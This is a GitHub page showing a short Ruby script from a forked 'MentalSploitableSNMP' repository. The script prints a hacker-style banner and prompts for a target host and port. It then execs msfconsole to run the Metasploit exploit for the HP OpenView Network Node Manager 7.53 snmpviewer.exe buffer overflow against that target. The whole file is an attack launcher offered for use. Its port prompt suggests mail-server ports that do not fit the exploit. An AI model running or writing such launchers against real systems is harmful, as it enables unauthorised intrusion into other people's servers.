forked from HackEasy/MentalSploitableSNMP
-
Notifications
You must be signed in to change notification settings - Fork 0
/
snmpviewer_actapp.rb
34 lines (23 loc) · 849 Bytes
/
snmpviewer_actapp.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
require 'colorize'
puts """
Th3 M4d_Sc13nT15t is here to stay...
We trust you have received teh usual lecture
from the local System Administrator.
It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great poewr comes great responsibility.""".white
puts """
HP OpenView Network Node Manager
snmpviewer.exe Buffer Overflow
HP OpenView Network Node Manager 7.53 w/NNM_01201
""".red
puts """
1st Try {set RPORT 2381; 2nd RPORT 2100}""".white
puts " [?] What is the target? "
print "[!] --->"
target = gets.chomp
puts " [?] Which SNMP server port (e.g. 25, 465, 587, 2525)? "
print " [!] ---> "
port = gets.chomp
exec("msfconsole -x 'use exploit/windows/http/hp_nnm_snmpviewer_actapp' -x 'setg RHOST #{target}' -x 'setg RPORT #{port}' -x 'run'")